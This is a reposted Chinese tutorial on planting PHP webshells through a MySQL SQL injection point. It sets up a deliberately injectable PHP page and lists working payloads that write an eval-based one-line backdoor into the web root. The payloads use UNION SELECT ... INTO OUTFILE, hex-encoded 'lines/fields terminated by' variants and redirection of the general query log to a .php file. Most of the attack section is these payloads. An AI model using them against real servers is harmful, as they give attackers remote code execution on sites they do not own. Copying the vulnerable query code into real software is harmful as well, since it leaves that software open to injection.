MySQL注入點寫入WebShell的幾種方式


轉自https://mp.weixin.qq.com/s/0DFHERyevMz_giZHi0agiQ

在工具化日益成熟的今天,手工注入的能力越來越被忽視了。當你掌握了一款工具的使用時,應更深入的去了解工具幫你做了什么,把工具所產生的影響控制在自己可控的范圍內。

比如:當面對一個MySQL注入點,通過使用SQLmap--os-shell命令選項,便可輕松一鍵獲取Webshell,但是非正常退出時,便會在網站目錄中存留SQLmap臨時上傳的Webshell文件。

一個MySQL注入點寫入Webshell,需要滿足哪些條件呢?簡單來說,需要了解secure_file_priv是否支持數據導出、還有當前數據庫用戶權限,當然,root用戶數據庫的全部權限,但寫入Webshell 並不需要一定是root用戶。

接下來,本文將通過構造一個注入點,分享幾種Webshell寫入的技巧。


0x01 構造一個注入點

1、在默認數據庫test中創建測試表admin和測試數據,新建test用戶授予FILE權限。

create user 'test'@'localhost' identified by '123456';grant file on *.* to 'test'@'localhost';

2、使用test用戶連接數據庫。

<?php$con = mysql_connect("localhost","test","123456");mysql_select_db("test", $con);$id = $_REQUEST[ 'id' ];$query = "SELECT * FROM test.admin WHERE id = $id ";$result = mysql_query($query);......

0x02 寫入WebShell的幾種方式

1、利用Union select 寫入

這是最常見的寫入方式,union 跟select into outfile,將一句話寫入evil.php,僅適用於聯合注入。

具體權限要求:secure_file_priv支持web目錄文件導出、數據庫用戶File權限、獲取物理路徑。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",into outfile 'E:/study/WWW/evil.php'?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符寫入

Mysql注入點為盲注或報錯,Union select寫入的方式顯然是利用不了的,那么可以通過分隔符寫入。SQLMAP的 --os-shell命令,所采用的就是一下這種方式。

具體權限要求:secure_file_priv支持web目錄文件導出、數據庫用戶File權限、獲取物理路徑。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

同樣的技巧,一共有四種形式:

?id=1 INTO OUTFILE '物理路徑' lines terminated by  (一句話hex編碼)#?id=1 INTO OUTFILE '物理路徑' fields terminated by (一句話hex編碼)#?id=1 INTO OUTFILE '物理路徑' columns terminated by (一句話hex編碼)#?id=1 INTO OUTFILE '物理路徑' lines starting by (一句話hex編碼)#

3、利用log寫入

新版本的MySQL設置了導出文件的路徑,很難在獲取Webshell過程中去修改配置文件,無法通過使用select into outfile來寫入一句話。這時,我們可以通過修改MySQLlog文件來獲取Webshell

具體權限要求:數據庫用戶需具備SuperFile服務器權限、獲取物理路徑。

show variables like '%general%'; #查看配置set global general_log = on;                 #開啟general log模式set global general_log_file = 'E:/study/WWW/evil.php'; #設置日志目錄為shell地址select '<?php eval($_GET[g]);?>'             #寫入shellset global general_log=off; #關閉general log模式

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM